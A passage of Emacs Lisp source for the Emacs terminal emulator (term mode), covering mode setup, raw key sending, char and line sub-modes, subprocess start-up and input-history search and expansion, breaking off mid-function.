(defun term-ansi-reset ()
(setq term-current-face 'term)
(setq term-ansi-current-underline nil)
(setq term-ansi-current-bold nil)
(setq term-ansi-current-reverse nil)
(setq term-ansi-current-color 0)
(setq term-ansi-current-invisible nil)
;; Stefan thought this should be t, but could not remember why.
;; Setting it to t seems to cause bug#11785. Setting it to nil
;; again to see if there are other consequences...
(setq term-ansi-face-already-done nil)
(setq term-ansi-current-bg-color 0))
(define-derived-mode term-mode fundamental-mode "Term"
"Major mode for interacting with an inferior interpreter.
The interpreter name is same as buffer name, sans the asterisks.
There are two submodes: line mode and char mode. By default, you are
in char mode. In char sub-mode, each character (except
`term-escape-char') is sent immediately to the subprocess.
The escape character is equivalent to the usual meaning of C-x.
In line mode, you send a line of input at a time; use
\\[term-send-input] to send.
In line mode, this maintains an input history of size
`term-input-ring-size', and you can access it with the commands
\\[term-next-input], \\[term-previous-input], and
\\[term-dynamic-list-input-ring]. Input ring history expansion can be
achieved with the commands \\[term-replace-by-expanded-history] or
\\[term-magic-space]. Input ring expansion is controlled by the
variable `term-input-autoexpand', and addition is controlled by the
variable `term-input-ignoredups'.
Input to, and output from, the subprocess can cause the window to scroll to
the end of the buffer. See variables `term-scroll-to-bottom-on-input',
and `term-scroll-to-bottom-on-output'.
If you accidentally suspend your process, use \\[term-continue-subjob]
to continue it.
This mode can be customized to create specific modes for running
particular subprocesses. This can be done by setting the hooks
`term-input-filter-functions', `term-input-filter',
`term-input-sender' and `term-get-old-input' to appropriate functions,
and the variable `term-prompt-regexp' to the appropriate regular
expression.
Commands in raw mode:
\\{term-raw-map}
Commands in line mode:
\\{term-mode-map}
Entry to this mode runs the hooks on `term-mode-hook'."
;; we do not want indent to sneak in any tabs
(setq indent-tabs-mode nil)
(setq buffer-display-table term-display-table)
(set (make-local-variable 'term-home-marker) (copy-marker 0))
(set (make-local-variable 'term-height) (window-text-height))
(set (make-local-variable 'term-width) (window-max-chars-per-line))
(set (make-local-variable 'term-last-input-start) (make-marker))
(set (make-local-variable 'term-last-input-end) (make-marker))
(set (make-local-variable 'term-last-input-match) "")
(set (make-local-variable 'term-command-hook)
(symbol-function 'term-command-hook))
;; These local variables are set to their local values:
(make-local-variable 'term-saved-home-marker)
(make-local-variable 'term-saved-cursor)
(make-local-variable 'term-prompt-regexp)
(make-local-variable 'term-input-ring-size)
(make-local-variable 'term-input-ring)
(make-local-variable 'term-input-ring-file-name)
(make-local-variable 'term-input-ring-index)
(unless term-input-ring
(setq term-input-ring (make-ring term-input-ring-size)))
;; I'm not sure these saves are necessary but, since I
;; haven't tested the whole thing on a net connected machine with
;; a properly configured ange-ftp, I've decided to be conservative
;; and put them in. -mm
(set (make-local-variable 'term-ansi-at-host) (system-name))
(set (make-local-variable 'term-ansi-at-dir) default-directory)
(set (make-local-variable 'term-ansi-at-message) nil)
;; For user tracking purposes -mm
(make-local-variable 'ange-ftp-default-user)
(make-local-variable 'ange-ftp-default-password)
(make-local-variable 'ange-ftp-generate-anonymous-password)
;; You may want to have different scroll-back sizes -mm
(make-local-variable 'term-buffer-maximum-size)
;; Of course these have to be buffer-local -mm
(make-local-variable 'term-ansi-current-bold)
(make-local-variable 'term-ansi-current-color)
(make-local-variable 'term-ansi-face-already-done)
(make-local-variable 'term-ansi-current-bg-color)
(make-local-variable 'term-ansi-current-underline)
(make-local-variable 'term-ansi-current-reverse)
(make-local-variable 'term-ansi-current-invisible)
(make-local-variable 'term-terminal-undecoded-bytes)
(make-local-variable 'term-do-line-wrapping)
(make-local-variable 'term-kill-echo-list)
(make-local-variable 'term-start-line-column)
(make-local-variable 'term-current-column)
(make-local-variable 'term-current-row)
(make-local-variable 'term-log-buffer)
(make-local-variable 'term-scroll-start)
(set (make-local-variable 'term-scroll-end) term-height)
(make-local-variable 'term-scroll-with-delete)
(make-local-variable 'term-pager-count)
(make-local-variable 'term-pager-old-local-map)
(make-local-variable 'term-old-mode-map)
(make-local-variable 'term-insert-mode)
(make-local-variable 'term-dynamic-complete-functions)
(make-local-variable 'term-completion-fignore)
(make-local-variable 'term-get-old-input)
(make-local-variable 'term-matching-input-from-input-string)
(make-local-variable 'term-input-autoexpand)
(make-local-variable 'term-input-ignoredups)
(make-local-variable 'term-delimiter-argument-list)
(make-local-variable 'term-input-filter-functions)
(make-local-variable 'term-input-filter)
(make-local-variable 'term-input-sender)
(make-local-variable 'term-eol-on-send)
(make-local-variable 'term-scroll-to-bottom-on-output)
(make-local-variable 'term-scroll-show-maximum-output)
(make-local-variable 'term-ptyp)
(make-local-variable 'term-exec-hook)
(set (make-local-variable 'term-vertical-motion) 'vertical-motion)
(set (make-local-variable 'term-pending-delete-marker) (make-marker))
(make-local-variable 'term-current-face)
(term-ansi-reset)
(set (make-local-variable 'term-pending-frame) nil)
;; Cua-mode's keybindings interfere with the term keybindings, disable it.
(set (make-local-variable 'cua-mode) nil)
(set (make-local-variable 'font-lock-defaults) '(nil t))
(add-function :filter-return
(local 'window-adjust-process-window-size-function)
(lambda (size)
(when size
(term-reset-size (cdr size) (car size)))
size)
'((name . term-maybe-reset-size)))
(add-hook 'read-only-mode-hook #'term-line-mode-buffer-read-only-update nil t)
(easy-menu-add term-terminal-menu)
(easy-menu-add term-signals-menu)
(or term-input-ring
(setq term-input-ring (make-ring term-input-ring-size)))
(term-update-mode-line))
(defun term-reset-size (height width)
(when (or (/= height term-height)
(/= width term-width))
(let ((point (point)))
(setq term-height height)
(setq term-width width)
(setq term-start-line-column nil)
(setq term-current-row nil)
(setq term-current-column nil)
(term-set-scroll-region 0 height)
(goto-char point))))
;; Recursive routine used to check if any string in term-kill-echo-list
;; matches part of the buffer before point.
;; If so, delete that matched part of the buffer - this suppresses echo.
;; Also, remove that string from the term-kill-echo-list.
;; We *also* remove any older string on the list, as a sanity measure,
;; in case something gets out of sync. (Except for type-ahead, there
;; should only be one element in the list.)
(defun term-check-kill-echo-list ()
(let ((cur term-kill-echo-list) (found nil) (save-point (point)))
(unwind-protect
(progn
(end-of-line)
(while cur
(let* ((str (car cur)) (len (length str)) (start (- (point) len)))
(if (and (>= start (point-min))
(string= str (buffer-substring start (point))))
(progn (delete-char (- len))
(setq term-kill-echo-list (cdr cur))
(setq term-current-column nil)
(setq term-current-row nil)
(setq term-start-line-column nil)
(setq cur nil found t))
(setq cur (cdr cur))))))
(when (not found)
(goto-char save-point)))
found))
(defun term-send-raw-string (chars)
(deactivate-mark)
(let ((proc (get-buffer-process (current-buffer))))
(if (not proc)
(error "Current buffer has no process")
;; Note that (term-current-row) must be called *after*
;; (point) has been updated to (process-mark proc).
(goto-char (process-mark proc))
(when (term-pager-enabled)
(setq term-pager-count (term-current-row)))
(process-send-string proc chars))))
(defun term-send-raw ()
"Send the last character typed through the terminal-emulator
without any interpretation."
(interactive)
(let ((keys (this-command-keys)))
(term-send-raw-string (string (aref keys (1- (length keys)))))))
(defun term-send-raw-meta ()
(interactive)
(let ((char last-input-event))
(when (symbolp char)
;; Convert `return' to C-m, etc.
(let ((tmp (get char 'event-symbol-elements)))
(if tmp (setq char (car tmp)))
(and (symbolp char)
(setq tmp (get char 'ascii-character))
(setq char tmp))))
(when (numberp char)
(let ((base (event-basic-type char))
(mods (delq 'meta (event-modifiers char))))
(if (memq 'control mods)
(setq mods (delq 'shift mods)))
(term-send-raw-string
(format "\e%c"
(event-convert-list (append mods (list base)))))))))
(defun term-mouse-paste (click)
"Insert the primary selection at the position clicked on."
(interactive "e")
(if (featurep 'xemacs)
(term-send-raw-string
(or (condition-case () (x-get-selection) (error ()))
(error "No selection available")))
;; Give temporary modes such as isearch a chance to turn off.
(run-hooks 'mouse-leave-buffer-hook)
(setq this-command 'yank)
(mouse-set-point click)
(term-send-raw-string (gui-get-primary-selection))))
(defun term-paste ()
"Insert the last stretch of killed text at point."
(interactive)
(term-send-raw-string (current-kill 0)))
(defun term--xterm-paste ()
"Insert the text pasted in an XTerm bracketed paste operation."
(interactive)
(term-send-raw-string (xterm--pasted-text)))
(declare-function xterm--pasted-text "term/xterm" ())
;; Which would be better: "\e[A" or "\eOA"? readline accepts either.
;; For my configuration it's definitely better \eOA but YMMV. -mm
;; For example: vi works with \eOA while elm wants \e[A ...
;; (terminfo: kcuu1, kcud1, kcuf1, kcub1, khome, kend, kpp, knp, kdch1, kbs)
(defun term-send-up () (interactive) (term-send-raw-string "\eOA"))
(defun term-send-down () (interactive) (term-send-raw-string "\eOB"))
(defun term-send-right () (interactive) (term-send-raw-string "\eOC"))
(defun term-send-left () (interactive) (term-send-raw-string "\eOD"))
(defun term-send-ctrl-up () (interactive) (term-send-raw-string "\e[1;5A"))
(defun term-send-ctrl-down () (interactive) (term-send-raw-string "\e[1;5B"))
(defun term-send-ctrl-right () (interactive) (term-send-raw-string "\e[1;5C"))
(defun term-send-ctrl-left () (interactive) (term-send-raw-string "\e[1;5D"))
(defun term-send-home () (interactive) (term-send-raw-string "\e[1~"))
(defun term-send-insert() (interactive) (term-send-raw-string "\e[2~"))
(defun term-send-end () (interactive) (term-send-raw-string "\e[4~"))
(defun term-send-prior () (interactive) (term-send-raw-string "\e[5~"))
(defun term-send-next () (interactive) (term-send-raw-string "\e[6~"))
(defun term-send-del () (interactive) (term-send-raw-string "\e[3~"))
(defun term-send-backspace () (interactive) (term-send-raw-string "\C-?"))
(defun term-char-mode ()
"Switch to char (\"raw\") sub-mode of term mode.
Each character you type is sent directly to the inferior without
intervention from Emacs, except for the escape character (usually C-c)."
(interactive)
;; FIXME: Emit message? Cfr ilisp-raw-message
(when (term-in-line-mode)
(setq term-old-mode-map (current-local-map))
(use-local-map term-raw-map)
(easy-menu-add term-terminal-menu)
(easy-menu-add term-signals-menu)
;; Don't allow changes to the buffer or to point which are not
;; caused by the process filter.
(when term-char-mode-buffer-read-only
(setq buffer-read-only t))
(add-hook 'pre-command-hook #'term-set-goto-process-mark nil t)
(add-hook 'post-command-hook #'term-goto-process-mark-maybe nil t)
;; Send existing partial line to inferior (without newline).
(let ((pmark (process-mark (get-buffer-process (current-buffer))))
(save-input-sender term-input-sender))
(when (> (point) pmark)
(unwind-protect
(progn
(setq term-input-sender
(symbol-function 'term-send-string))
(end-of-line)
(term-send-input))
(setq term-input-sender save-input-sender))))
(term-update-mode-line)))
(defun term-line-mode ()
"Switch to line (\"cooked\") sub-mode of term mode.
This means that Emacs editing commands work as normally, until
you type \\[term-send-input] which sends the current line to the inferior."
(interactive)
(when (term-in-char-mode)
(when term-char-mode-buffer-read-only
(setq buffer-read-only term-line-mode-buffer-read-only))
(remove-hook 'pre-command-hook #'term-set-goto-process-mark t)
(remove-hook 'post-command-hook #'term-goto-process-mark-maybe t)
(use-local-map term-old-mode-map)
(term-update-mode-line)))
(defun term-line-mode-buffer-read-only-update ()
"Update the user-set state of `buffer-read-only' in `term-line-mode'.
Called as a buffer-local `read-only-mode-hook' function."
(when (term-in-line-mode)
(setq term-line-mode-buffer-read-only buffer-read-only)))
(defun term-update-mode-line ()
(let ((term-mode
(if (term-in-char-mode)
(propertize "char"
'help-echo "mouse-1: Switch to line mode"
'mouse-face 'mode-line-highlight
'local-map
'(keymap
(mode-line keymap (down-mouse-1 . term-line-mode))))
(propertize "line"
'help-echo "mouse-1: Switch to char mode"
'mouse-face 'mode-line-highlight
'local-map
'(keymap
(mode-line keymap (down-mouse-1 . term-char-mode))))))
(term-page
(when (term-pager-enabled)
(concat " "
(propertize
"page"
'help-echo "mouse-1: Disable paging"
'mouse-face 'mode-line-highlight
'local-map
'(keymap
(mode-line keymap (down-mouse-1 .
term-pager-toggle)))))))
(serial-item-speed)
(serial-item-config)
(proc (get-buffer-process (current-buffer))))
(when (and (term-check-proc (current-buffer))
(equal (process-type nil) 'serial))
(let ((temp (serial-speed)))
(setq serial-item-speed
`(:propertize
,(or (and temp (format " %d" temp)) "")
help-echo "mouse-1: Change the speed of the serial port"
mouse-face mode-line-highlight
local-map (keymap (mode-line keymap
(down-mouse-1 . serial-mode-line-speed-menu-1))))))
(let ((temp (process-contact proc :summary)))
(setq serial-item-config
`(:propertize
,(or (and temp (format " %s" temp)) "")
help-echo "mouse-1: Change the configuration of the serial port"
mouse-face mode-line-highlight
local-map (keymap (mode-line keymap
(down-mouse-1 . serial-mode-line-config-menu-1)))))))
(setq mode-line-process
(list ": " term-mode term-page
serial-item-speed
serial-item-config
" %s")))
(force-mode-line-update))
(defun term-check-proc (buffer)
"True if there is a process associated w/buffer BUFFER, and it
is alive. BUFFER can be either a buffer or the name of one."
(let ((proc (get-buffer-process buffer)))
(and proc (memq (process-status proc) '(run stop open listen connect)))))
;;;###autoload
(defun make-term (name program &optional startfile &rest switches)
"Make a term process NAME in a buffer, running PROGRAM.
The name of the buffer is made by surrounding NAME with `*'s.
If there is already a running process in that buffer, it is not restarted.
Optional third arg STARTFILE is the name of a file to send the contents of to
the process. Any more args are arguments to PROGRAM."
(let ((buffer (get-buffer-create (concat "*" name "*"))))
;; If no process, or nuked process, crank up a new one and put buffer in
;; term mode. Otherwise, leave buffer and existing process alone.
(cond ((not (term-check-proc buffer))
(with-current-buffer buffer
(term-mode)) ; Install local vars, mode, keymap, ...
(term-exec buffer name program startfile switches)))
buffer))
;;;###autoload
(defun term (program)
"Start a terminal-emulator in a new buffer.
The buffer is in Term mode; see `term-mode' for the
commands to use in that buffer.
\\<term-raw-map>Type \\[switch-to-buffer] to switch to another buffer."
(interactive (list (read-from-minibuffer "Run program: "
(or explicit-shell-file-name
(getenv "ESHELL")
shell-file-name))))
(set-buffer (make-term "terminal" program))
(term-mode)
(term-char-mode)
(switch-to-buffer "*terminal*"))
(defun term-exec (buffer name command startfile switches)
"Start up a process in buffer for term modes.
Blasts any old process running in the buffer. Doesn't set the buffer mode.
You can use this to cheaply run a series of processes in the same term
buffer. The hook `term-exec-hook' is run after each exec."
(with-current-buffer buffer
(let ((proc (get-buffer-process buffer))) ; Blast any old process.
(when proc (delete-process proc)))
;; Crank up a new process
(let ((proc (term-exec-1 name buffer command switches)))
(make-local-variable 'term-ptyp)
(setq term-ptyp process-connection-type) ; t if pty, nil if pipe.
;; Jump to the end, and set the process mark.
(goto-char (point-max))
(set-marker (process-mark proc) (point))
(set-process-filter proc 'term-emulate-terminal)
(set-process-sentinel proc 'term-sentinel)
;; Feed it the startfile.
(when startfile
;;This is guaranteed to wait long enough
;;but has bad results if the term does not prompt at all
;; (while (= size (buffer-size))
;; (sleep-for 1))
;;I hope 1 second is enough!
(sleep-for 1)
(goto-char (point-max))
(insert-file-contents startfile)
(term-send-string
proc (delete-and-extract-region (point) (point-max)))))
(run-hooks 'term-exec-hook)
buffer))
(defun term-sentinel (proc msg)
"Sentinel for term buffers.
The main purpose is to get rid of the local keymap."
(let ((buffer (process-buffer proc)))
(when (memq (process-status proc) '(signal exit))
(if (null (buffer-name buffer))
;; buffer killed
(set-process-buffer proc nil)
(with-current-buffer buffer
;; Write something in the compilation buffer
;; and hack its mode line.
;; Get rid of local keymap.
(use-local-map nil)
(term-handle-exit (process-name proc) msg)
;; Since the buffer and mode line will show that the
;; process is dead, we can delete it now. Otherwise it
;; will stay around until M-x list-processes.
(delete-process proc))))))
(defun term-handle-exit (process-name msg)
"Write process exit (or other change) message MSG in the current buffer."
(let ((buffer-read-only nil)
(omax (point-max))
(opoint (point)))
;; Record where we put the message, so we can ignore it
;; later on.
(goto-char omax)
(insert ?\n "Process " process-name " " msg)
;; Force mode line redisplay soon.
(force-mode-line-update)
(when (and opoint (< opoint omax))
(goto-char opoint))))
(defvar term-term-name "eterm-color"
"Name to use for TERM.
Using \"emacs\" loses, because bash disables editing if $TERM == emacs.")
;; Format string, usage:
;; (format term-termcap-string emacs-term-name "TERMCAP=" 24 80)
(defvar term-termcap-format
"%s%s:li#%d:co#%d:cl=\\E[H\\E[J:cd=\\E[J:bs:am:xn:cm=\\E[%%i%%d;%%dH\
:nd=\\E[C:up=\\E[A:ce=\\E[K:ho=\\E[H:pt\
:al=\\E[L:dl=\\E[M:DL=\\E[%%dM:AL=\\E[%%dL:cs=\\E[%%i%%d;%%dr:sf=^J\
:dc=\\E[P:DC=\\E[%%dP:IC=\\E[%%d@:im=\\E[4h:ei=\\E[4l:mi:\
:so=\\E[7m:se=\\E[m:us=\\E[4m:ue=\\E[m:md=\\E[1m:mr=\\E[7m:me=\\E[m\
:UP=\\E[%%dA:DO=\\E[%%dB:LE=\\E[%%dD:RI=\\E[%%dC\
:kl=\\EOD:kd=\\EOB:kr=\\EOC:ku=\\EOA:kN=\\E[6~:kP=\\E[5~:@7=\\E[4~:kh=\\E[1~\
:mk=\\E[8m:cb=\\E[1K:op=\\E[39;49m:Co#8:pa#64:AB=\\E[4%%dm:AF=\\E[3%%dm:cr=^M\
:bl=^G:do=^J:le=^H:ta=^I:se=\\E[27m:ue=\\E[24m\
:kb=^?:kD=^[[3~:sc=\\E7:rc=\\E8:r1=\\Ec:"
;; : -undefine ic
;; don't define :te=\\E[2J\\E[?47l\\E8:ti=\\E7\\E[?47h\
"Termcap capabilities supported.")
;; This auxiliary function cranks up the process for term-exec in
;; the appropriate environment.
(defun term-exec-1 (name buffer command switches)
;; We need to do an extra (fork-less) exec to run stty.
;; (This would not be needed if we had suitable Emacs primitives.)
;; The 'if ...; then shift; fi' hack is because Bourne shell
;; loses one arg when called with -c, and newer shells (bash, ksh) don't.
;; Thus we add an extra dummy argument "..", and then remove it.
(let ((process-environment
(nconc
(list
(format "TERM=%s" term-term-name)
(format "TERMINFO=%s" data-directory)
(format term-termcap-format "TERMCAP="
term-term-name term-height term-width)
;; This is for backwards compatibility with Bash 4.3 and earlier.
;; Remove this hack once Bash 4.4-or-later is common, because
;; it breaks './configure' of some packages that expect it to
;; say where to find EMACS.
(format "EMACS=%s (term:%s)" emacs-version term-protocol-version)
(format "INSIDE_EMACS=%s,term:%s" emacs-version term-protocol-version)
(format "LINES=%d" term-height)
(format "COLUMNS=%d" term-width))
process-environment))
(process-connection-type t)
;; We should suppress conversion of end-of-line format.
(inhibit-eol-conversion t)
;; The process's output contains not just chars but also binary
;; escape codes, so we need to see the raw output. We will have to
;; do the decoding by hand on the parts that are made of chars.
(coding-system-for-read 'binary))
(apply 'start-process name buffer
"/bin/sh" "-c"
(format "stty -nl echo rows %d columns %d sane 2>/dev/null;\
if [ $1 = .. ]; then shift; fi; exec \"$@\""
term-height term-width)
".."
command switches)))
;;; Input history processing in a buffer
;; ===========================================================================
;; Useful input history functions, courtesy of the Ergo group.
;; Eleven commands:
;; term-dynamic-list-input-ring List history in help buffer.
;; term-previous-input Previous input...
;; term-previous-matching-input ...matching a string.
;; term-previous-matching-input-from-input ... matching the current input.
;; term-next-input Next input...
;; term-next-matching-input ...matching a string.
;; term-next-matching-input-from-input ... matching the current input.
;; term-backward-matching-input Backwards input...
;; term-forward-matching-input ...matching a string.
;; term-replace-by-expanded-history Expand history at point;
;; replace with expanded history.
;; term-magic-space Expand history and insert space.
;;
;; Three functions:
;; term-read-input-ring Read into term-input-ring...
;; term-write-input-ring Write to term-input-ring-file-name.
;; term-replace-by-expanded-history-before-point Workhorse function.
(defun term-read-input-ring (&optional silent)
"Set the buffer's `term-input-ring' from a history file.
The name of the file is given by the variable `term-input-ring-file-name'.
The history ring is of size `term-input-ring-size', regardless of file size.
If `term-input-ring-file-name' is nil this function does nothing.
If the optional argument SILENT is non-nil, we say nothing about a
failure to read the history file.
This function is useful for major mode commands and mode hooks.
The structure of the history file should be one input command per line,
with the most recent command last.
See also `term-input-ignoredups' and `term-write-input-ring'."
(cond ((or (null term-input-ring-file-name)
(equal term-input-ring-file-name ""))
nil)
((not (file-readable-p term-input-ring-file-name))
(or silent
(message "Cannot read history file %s"
term-input-ring-file-name)))
(t
(let ((file term-input-ring-file-name)
(count 0)
(ring (make-ring term-input-ring-size)))
(with-temp-buffer
(insert-file-contents file)
;; Save restriction in case file is already visited...
;; Watch for those date stamps in history files!
(goto-char (point-max))
(while (and (< count term-input-ring-size)
(re-search-backward "^[ \t]*\\([^#\n].*\\)[ \t]*$"
nil t))
(let ((history (buffer-substring (match-beginning 1)
(match-end 1))))
(when (or (null term-input-ignoredups)
(ring-empty-p ring)
(not (string-equal (ring-ref ring 0) history)))
(ring-insert-at-beginning ring history)))
(setq count (1+ count))))
(setq term-input-ring ring
term-input-ring-index nil)))))
(defun term-write-input-ring ()
"Write the buffer's `term-input-ring' to a history file.
The name of the file is given by the variable `term-input-ring-file-name'.
The original contents of the file are lost if `term-input-ring' is not empty.
If `term-input-ring-file-name' is nil this function does nothing.
Useful within process sentinels.
See also `term-read-input-ring'."
(cond ((or (null term-input-ring-file-name)
(equal term-input-ring-file-name "")
(null term-input-ring) (ring-empty-p term-input-ring))
nil)
((not (file-writable-p term-input-ring-file-name))
(message "Cannot write history file %s" term-input-ring-file-name))
(t
(let* ((history-buf (get-buffer-create " *Temp Input History*"))
(ring term-input-ring)
(file term-input-ring-file-name)
(index (ring-length ring)))
;; Write it all out into a buffer first. Much faster, but messier,
;; than writing it one line at a time.
(with-current-buffer history-buf
(erase-buffer)
(while (> index 0)
(setq index (1- index))
(insert (ring-ref ring index) ?\n))
(write-region (buffer-string) nil file nil 'no-message)
(kill-buffer nil))))))
(defun term-dynamic-list-input-ring ()
"List in help buffer the buffer's input history."
(interactive)
(if (or (not (ring-p term-input-ring))
(ring-empty-p term-input-ring))
(message "No history")
(let ((history nil)
(history-buffer " *Input History*")
(index (1- (ring-length term-input-ring)))
(conf (current-window-configuration)))
;; We have to build up a list ourselves from the ring vector.
(while (>= index 0)
(setq history (cons (ring-ref term-input-ring index) history)
index (1- index)))
;; Change "completion" to "history reference"
;; to make the display accurate.
(with-output-to-temp-buffer history-buffer
(display-completion-list history)
(set-buffer history-buffer)
(forward-line 3)
(while (search-backward "completion" nil 'move)
(replace-match "history reference")))
(sit-for 0)
(message "Hit space to flush")
(let ((ch (read-event)))
(if (eq ch ?\s)
(set-window-configuration conf)
(push ch unread-command-events))))))
(defun term-regexp-arg (prompt)
;; Return list of regexp and prefix arg using PROMPT.
(let* (;; Don't clobber this.
(last-command last-command)
(regexp (read-from-minibuffer prompt nil nil nil
'minibuffer-history-search-history)))
(list (if (string-equal regexp "")
(setcar minibuffer-history-search-history
(nth 1 minibuffer-history-search-history))
regexp)
(prefix-numeric-value current-prefix-arg))))
(defun term-search-arg (arg)
;; First make sure there is a ring and that we are after the process mark
(cond ((not (term-after-pmark-p))
(error "Not at command line"))
((or (null term-input-ring)
(ring-empty-p term-input-ring))
(error "Empty input ring"))
((zerop arg)
;; arg of zero resets search from beginning, and uses arg of 1
(setq term-input-ring-index nil)
1)
(t
arg)))
(defun term-search-start (arg)
;; Index to start a directional search, starting at term-input-ring-index
(if term-input-ring-index
;; If a search is running, offset by 1 in direction of arg
(mod (+ term-input-ring-index (if (> arg 0) 1 -1))
(ring-length term-input-ring))
;; For a new search, start from beginning or end, as appropriate
(if (>= arg 0)
0 ; First elt for forward search
(1- (ring-length term-input-ring))))) ; Last elt for backward search
(defun term-previous-input-string (arg)
"Return the string ARG places along the input ring.
Moves relative to `term-input-ring-index'."
(ring-ref term-input-ring (if term-input-ring-index
(mod (+ arg term-input-ring-index)
(ring-length term-input-ring))
arg)))
(defun term-previous-input (arg)
"Cycle backwards through input history."
(interactive "*p")
(term-previous-matching-input "." arg))
(defun term-next-input (arg)
"Cycle forwards through input history."
(interactive "*p")
(term-previous-input (- arg)))
(defun term-previous-matching-input-string (regexp arg)
"Return the string matching REGEXP ARG places along the input ring.
Moves relative to `term-input-ring-index'."
(let* ((pos (term-previous-matching-input-string-position regexp arg)))
(when pos (ring-ref term-input-ring pos))))
(defun term-previous-matching-input-string-position
(regexp arg &optional start)
"Return the index matching REGEXP ARG places along the input ring.
Moves relative to START, or `term-input-ring-index'."
(when (or (not (ring-p term-input-ring))
(ring-empty-p term-input-ring))
(error "No history"))
(let* ((len (ring-length term-input-ring))
(motion (if (> arg 0) 1 -1))
(n (mod (- (or start (term-search-start arg)) motion) len))
(tried-each-ring-item nil)
(prev nil))
;; Do the whole search as many times as the argument says.
(while (and (/= arg 0) (not tried-each-ring-item))
;; Step once.
(setq prev n
n (mod (+ n motion) len))
;; If we haven't reached a match, step some more.
(while (and (< n len) (not tried-each-ring-item)
(not (string-match regexp (ring-ref term-input-ring n))))
(setq n (mod (+ n motion) len)
;; If we have gone all the way around in this search.
tried-each-ring-item (= n prev)))
(setq arg (if (> arg 0) (1- arg) (1+ arg))))
;; Now that we know which ring element to use, if we found it, return that.
(when (string-match regexp (ring-ref term-input-ring n))
n)))
(defun term-previous-matching-input (regexp n)
"Search backwards through input history for match for REGEXP.
\(Previous history elements are earlier commands.)
With prefix argument N, search for Nth previous match.
If N is negative, find the next or Nth next match."
(interactive (term-regexp-arg "Previous input matching (regexp): "))
(setq n (term-search-arg n))
(let ((pos (term-previous-matching-input-string-position regexp n)))
;; Has a match been found?
(if (null pos)
(error "Not found")
(setq term-input-ring-index pos)
(message "History item: %d" (1+ pos))
(delete-region
;; Can't use kill-region as it sets this-command
(process-mark (get-buffer-process (current-buffer))) (point))
(insert (ring-ref term-input-ring pos)))))
(defun term-next-matching-input (regexp n)
"Search forwards through input history for match for REGEXP.
\(Later history elements are more recent commands.)
With prefix argument N, search for Nth following match.
If N is negative, find the previous or Nth previous match."
(interactive (term-regexp-arg "Next input matching (regexp): "))
(term-previous-matching-input regexp (- n)))
(defun term-previous-matching-input-from-input (n)
"Search backwards through input history for match for current input.
\(Previous history elements are earlier commands.)
With prefix argument N, search for Nth previous match.
If N is negative, search forwards for the -Nth following match."
(interactive "p")
(when (not (memq last-command '(term-previous-matching-input-from-input
term-next-matching-input-from-input)))
;; Starting a new search
(setq term-matching-input-from-input-string
(buffer-substring
(process-mark (get-buffer-process (current-buffer)))
(point))
term-input-ring-index nil))
(term-previous-matching-input
(concat "^" (regexp-quote term-matching-input-from-input-string))
n))
(defun term-next-matching-input-from-input (n)
"Search forwards through input history for match for current input.
\(Following history elements are more recent commands.)
With prefix argument N, search for Nth following match.
If N is negative, search backwards for the -Nth previous match."
(interactive "p")
(term-previous-matching-input-from-input (- n)))
(defun term-replace-by-expanded-history (&optional silent)
"Expand input command history references before point.
Expansion is dependent on the value of `term-input-autoexpand'.
This function depends on the buffer's idea of the input history, which may not
match the command interpreter's idea, assuming it has one.
Assumes history syntax is like typical Un*x shells'. However, since Emacs
cannot know the interpreter's idea of input line numbers, assuming it has one,
it cannot expand absolute input line number references.
If the optional argument SILENT is non-nil, never complain
even if history reference seems erroneous.
See `term-magic-space' and `term-replace-by-expanded-history-before-point'.
Returns t if successful."
(interactive)
(when (and term-input-autoexpand
(string-match "[!^]" (funcall term-get-old-input))
(save-excursion (beginning-of-line)
(looking-at term-prompt-regexp)))
;; Looks like there might be history references in the command.
(let ((previous-modified-tick (buffer-modified-tick)))
(message "Expanding history references...")
(term-replace-by-expanded-history-before-point silent)
(/= previous-modified-tick (buffer-modified-tick)))))
(defun term-replace-by-expanded-history-before-point (silent)
"Expand directory stack reference before point.
See `term-replace-by-expanded-history'. Returns t if successful."
(save-excursion
(let ((toend (- (line-end-position) (point)))
(start (progn (term-bol nil) (point))))
(while (progn
(skip-chars-forward "^!^" (- (line-end-position) toend))
(< (point) (- (line-end-position) toend)))
;; This seems a bit complex. We look for references such as !!, !-num,
;; !foo, !?foo, !{bar}, !?{bar}, ^oh, ^my^, ^god^it, ^never^ends^.
;; If that wasn't enough, the plings can be suffixed with argument
;; range specifiers.
;; Argument ranges are complex too, so we hive off the input line,
;; referenced with plings, with the range string to `term-args'.
(setq term-input-ring-index nil)
(cond ((or (= (preceding-char) ?\\)
(term-within-quotes start (point)))
;; The history is quoted, or we're in quotes.
(goto-char (1+ (point))))
((looking-at "![0-9]+\\($\\|[^-]\\)")
;; We cannot know the interpreter's idea of input line numbers.
(goto-char (match-end 0))
(message "Absolute reference cannot be expanded"))
((looking-at "!-\\([0-9]+\\)\\(:?[0-9^$*-]+\\)?")
;; Just a number of args from `number' lines backward.
(let ((number (1- (string-to-number
(buffer-substring (match-beginning 1)
(match-end 1))))))
(if (<= number (ring-length term-input-ring))
(progn
(replace-match
(term-args (term-previous-input-string number)
(match-beginning 2) (match-end 2))
t t)
(setq term-input-ring-index number)
(message "History item: %d" (1+ number)))
(goto-char (match-end 0))
(message "Relative reference exceeds input history size"))))
((or (looking-at "!!?:?\\([0-9^$*-]+\\)") (looking-at "!!"))
;; Just a number of args from the previous input line.
(replace-match
(term-args (term-previous-input-string 0)
(match-beginning 1) (match-end 1))
t t)
(message "History item: previous"))
((looking-at
"!\\??\\({\\(.+\\)}\\|\\(\\sw+\\)\\)\\(:?[0-9^$*-]+\\)?")
;; Most recent input starting with or containing (possibly
;; protected) string, maybe just a number of args. Phew.
(let* ((mb1 (match-beginning 1)) (me1 (match-end 1))
(mb2 (match-beginning 2)) (me2 (match-end 2))
(exp (buffer-substring (or mb2 mb1) (or me2 me1)))
(pref (if (save-match-data (looking-at "!\\?")) "" "^"))
(pos (save-match-data
(term-previous-matching-input-string-position
(concat pref (regexp-quote exp)) 1))))
(if (null pos)
(progn
(goto-char (match-end 0))
(or silent
(progn (message "Not found")
(ding))))
(setq term-input-ring-index pos)
(replace-match
(term-args (ring-ref term-input-ring pos)
(match-beginning 4) (match-end 4))
t t)
(message "History item: %d" (1+ pos)))))
((looking-at "\\^\\([^^]+\\)\\^?\\([^^]*\\)\\^?")
;; Quick substitution on the previous input line.
(let ((old (buffer-substring (match-beginning 1) (match-end 1)))
(new (buffer-substring (match-beginning 2) (match-end 2)))
(pos nil))
(replace-match (term-previous-input-string 0) t t)
(setq pos (point))
(goto-char (match-beginning 0))
(if (not (search-forward old pos t))
(or silent
(error "Not found"))
(replace-match new t t)
